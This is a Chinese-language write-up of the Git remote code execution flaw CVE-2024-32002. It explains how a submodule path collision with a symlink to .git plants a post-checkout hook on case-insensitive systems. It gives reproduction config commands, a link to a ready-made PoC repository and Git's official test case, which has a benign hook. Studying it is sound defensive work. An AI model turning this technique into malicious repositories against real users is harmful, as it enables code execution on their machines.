1. 漏洞介绍
漏洞标题:Git 远程代码执行漏洞(CVE-2024-32002)
影响版本:
- version 2.45.*< 2.45.1
- version 2.44.*< 2.44.1
- version 2.43.*< 2.43.4
- version 2.42.*< 2.42.2
- version 2.41.*< 2.41.1
- version 2.40.*< 2.40.2
- version 2.39.*< 2.39.4
2 git 基础
2.1 git clone
首先需要知道,在使用git clone
命令时,实际上做的命令如下:
1、 mkdir -p <path> && cd <path> # 创建一个目录并进入
2、 git init # 初始化git仓库
3、 git remote add origin <url> # 添加远程仓库
4、 git fetch origin # 下载对象引用
5、 git checkout -b <branch> --track origin/<branch> #创建一个本地分支,并跟踪远程分支
2.2 git submodule
git submodule
用于在一个 Git 仓库中嵌入另一个 Git 仓库。子模块通常用于管理大型项目中的独立依赖项或组件,这些组件可以是独立开发的代码库。
要将一个外部仓库作为子仓库添加到现有的 Git 中,需要如下命令:
git submodule add <repository_url> <path>
<repository_url>: 外部仓库的路径,例子:https://github.com/example/repo.git
<path> : 外部仓库存放在本仓库的目录名称
注意:当添加子模块后,该子模块的内容会被添加到本仓库中,.git
虽然也会出现,但它是一个 符号链接,指向本仓库.git/modules/<path>
当我们使用git clone克隆含义子仓库的仓库时,不会自动的获取子仓库的内容,要想获取子仓库内容,需要做如下命令:
git submodule init # 初始化子模块配置
git submodule update # 从远程仓库获取子模块的内容
2.3 hooks
hooks
目录存在与.git
目录下,里面存放很多shell脚本,这些脚本会在git执行到某个阶段时被执行
举个例子,hooks
目录中有个脚本名字叫做commit-msg
,这个脚本就是在我们执行git commit -m xxx
后,该消息即将被提交前,commit-msg
会被执行。
作为测试,具体的执行方法如下:
1、将hooks中的 commit-msg.sample 中添加内容 echo "testtest"
2、将hooks目录中的 commit-msg.sample 更改为 commit-msg
3、执行git add --all && git commit -m "xxxx"
4、观察结果
你能观察到如下结果:
3. 漏洞成因分析
漏洞本质上是由于:
git在进行clone的时候,由于Windows或者MacOS操作系统大小写不敏感的特点,主仓库中用于存放子模块的目录在下载时被另一个指向.git目录的同名符号链接覆盖,导致往子模块写入数据的时候,全部都写入了.git目录中,最后配合hook脚本完成隐蔽的攻击。
4. 漏洞复现
漏洞复现时,需要先指向如下命令:
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main
https://github.com/amalmurali47/git_rce这个网址提供了现成的仓库
可以看一下官方验证poc
test_expect_success CASE_INSENSITIVE_FS,SYMLINKS \
'submodule paths must not follow symlinks' '
# This is only needed because we want to run this in a self-contained
# test without having to spin up an HTTP server; However, it would not
# be needed in a real-world scenario where the submodule is simply
# hosted on a public site.
test_config_global protocol.file.allow always &&
# Make sure that Git tries to use symlinks on Windows
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
'
官方验证poc主要做如下步骤:
1. 创建hook仓库,创建y/hooks/post-checkout并添加到仓库中
2. 创建captain仓库,通过git submodule 将hook仓库添加到 captain仓库中的A/modules/x目录中
captain仓库的.git文件里记录hook仓库.git的位置为.git/modules/x/y
3. 在captain仓库以底层的方式创建一个a文件(符号链接),指向.git 并提交
4. 在git clone --recursive captain hooked后,会先拷贝captain的内容,在windows/macos中,A目录会被a替换,而a是指向.git的符号链接
接下来在拷贝hook仓库的A/modules/x/y/hooks/post-checkout的内容时,会被拷贝到.git/modules/x/y/hooks/post-checkout
而在git checkout执行后,执行post-checkout命令,完成利用
5. 补丁
https://github.com/git/git/commit/97065761333fd62db1912d81b489db938d8c991d是官方补丁
references
https://www.cnblogs.com/Hi-blog/p/18224773/git_rce_CVE-2024-32002
先知社区cve-2024-32002复现
启明星辰
奇安信
https://showlinkroom.me/2024/05/24/GITRCE-CVE-2024-32002%E5%88%86%E6%9E%90/